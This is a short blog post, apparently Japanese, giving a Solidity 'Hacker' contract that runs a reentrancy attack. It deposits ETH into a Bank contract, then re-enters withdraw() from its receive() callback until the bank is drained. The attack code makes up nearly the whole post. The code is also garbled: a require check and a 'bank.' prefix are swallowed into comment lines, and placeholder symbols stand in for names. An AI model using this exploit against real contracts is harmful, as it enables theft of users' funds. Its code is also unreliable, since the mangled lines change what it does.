wallet hacking attack contract【1-2】

contract Hacker{
     Bank public bank;
constructor (Bank _bank) {
           bank= _bank;
}
//Bank △△△'s attack function
function attack( ) external payable {
      //deposit at least 1 ETH to launch an attack require(msg.value >= 1 ether,        "Need at least 1 ether");
      //deposit money to Bank 〇〇〇
      bank.deposit{value: msg.value}();
      //withdraw money from Bank 〇〇〇 bank.
      withdraw();
}
//callback function, as long as ETH is received, a withdrawal will be initiated
      receive() external payable {
            if (address (bank).balance >= 1 ether) {bank.withdraw();
            }
      }

}

この記事が気に入ったらサポートをしてみませんか?